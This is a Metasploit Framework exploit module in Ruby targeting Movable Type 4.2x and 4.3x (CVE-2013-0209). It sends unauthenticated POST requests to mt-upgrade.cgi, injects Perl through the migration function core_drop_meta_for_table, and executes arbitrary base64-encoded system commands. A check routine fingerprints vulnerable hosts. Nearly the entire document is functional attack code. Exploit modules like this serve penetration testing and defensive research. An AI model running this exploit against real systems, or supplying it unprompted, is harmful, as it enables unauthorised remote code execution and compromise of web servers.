Movable Type 4.2x / 4.3x Web Upgrade Remote Code Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit4 < Msf::Exploit::Remote  
  
include Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Movable Type 4.2x, 4.3x Web Upgrade Remote Code Execution',  
'Description' => %q{  
This module can be used to execute a payload on MoveableType (MT) that  
exposes a CGI script, mt-upgrade.cgi (usually at /mt/mt-upgrade.cgi),  
that is used during installation and updating of the platform.  
The vulnerability arises due to the following properties:  
1. This script may be invoked remotely without requiring authentication  
to any MT instance.  
2. Through a crafted POST request, it is possible to invoke particular  
database migration functions (i.e functions that bring the existing  
database up-to-date with an updated codebase) by name and with  
particular parameters.  
3. A particular migration function, core_drop_meta_for_table, allows  
a class parameter to be set which is used directly in a perl eval  
statement, allowing perl code injection.  
},  
'Author' =>  
[  
'Kacper Nowak',  
'Nick Blundell',  
'Gary O\'Leary-Steele'  
],  
'References' =>  
[  
['CVE', '2012-6315'], # superseded by CVE-2013-0209 (duplicate)  
['CVE', '2013-0209'],  
['URL', 'http://www.sec-1.com/blog/?p=402'],  
['URL', 'http://www.movabletype.org/2013/01/movable_type_438_patch.html']  
],  
'Arch' => ARCH_CMD,  
'Payload' =>  
{  
'Compat' =>  
{  
'PayloadType' => 'cmd'  
}  
},  
'Platform' =>  
[  
'win',  
'unix'  
],  
'Targets' =>  
[  
['Movable Type 4.2x, 4.3x', {}]  
],  
'Privileged' => false,  
'DisclosureDate' => "Jan 07 2013",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The URI path of the Movable Type installation', '/mt'])  
], self.class)  
end  
  
def check  
@peer = "#{rhost}:#{rport}"  
fingerprint = rand_text_alpha(5)  
print_status("#{@peer} - Sending check...")  
begin  
res = http_send_raw(fingerprint)  
rescue Rex::ConnectionError  
return Exploit::CheckCode::Unknown  
end  
if (res)  
if (res.code == 200 and res.body =~ /Can't locate object method \\"dbi_driver\\" via package \\"#{fingerprint}\\" at/)  
return Exploit::CheckCode::Vulnerable  
elsif (res.code != 200)  
return Exploit::CheckCode::Unknown  
else  
return Exploit::CheckCode::Safe  
end  
else  
return Exploit::CheckCode::Unknown  
end  
end  
  
def exploit  
@peer = "#{rhost}:#{rport}"  
print_status("#{@peer} - Sending payload...")  
http_send_cmd(payload.encoded)  
end  
  
def http_send_raw(cmd)  
path = normalize_uri(target_uri.path) + '/mt-upgrade.cgi'  
pay = cmd.gsub('\\', '\\\\').gsub('"', '\"')  
send_request_cgi(  
{  
'uri' => path,  
'method' => 'POST',  
'vars_post' =>  
{  
'__mode' => 'run_actions',  
'installing' => '1',  
'steps' => %{[["core_drop_meta_for_table","class","#{pay}"]]}  
}  
})  
end  
  
def http_send_cmd(cmd)  
pay = 'v0;use MIME::Base64;system(decode_base64(q('  
pay << Rex::Text.encode_base64(cmd)  
pay << ')));return 0'  
http_send_raw(pay)  
end  
end  
`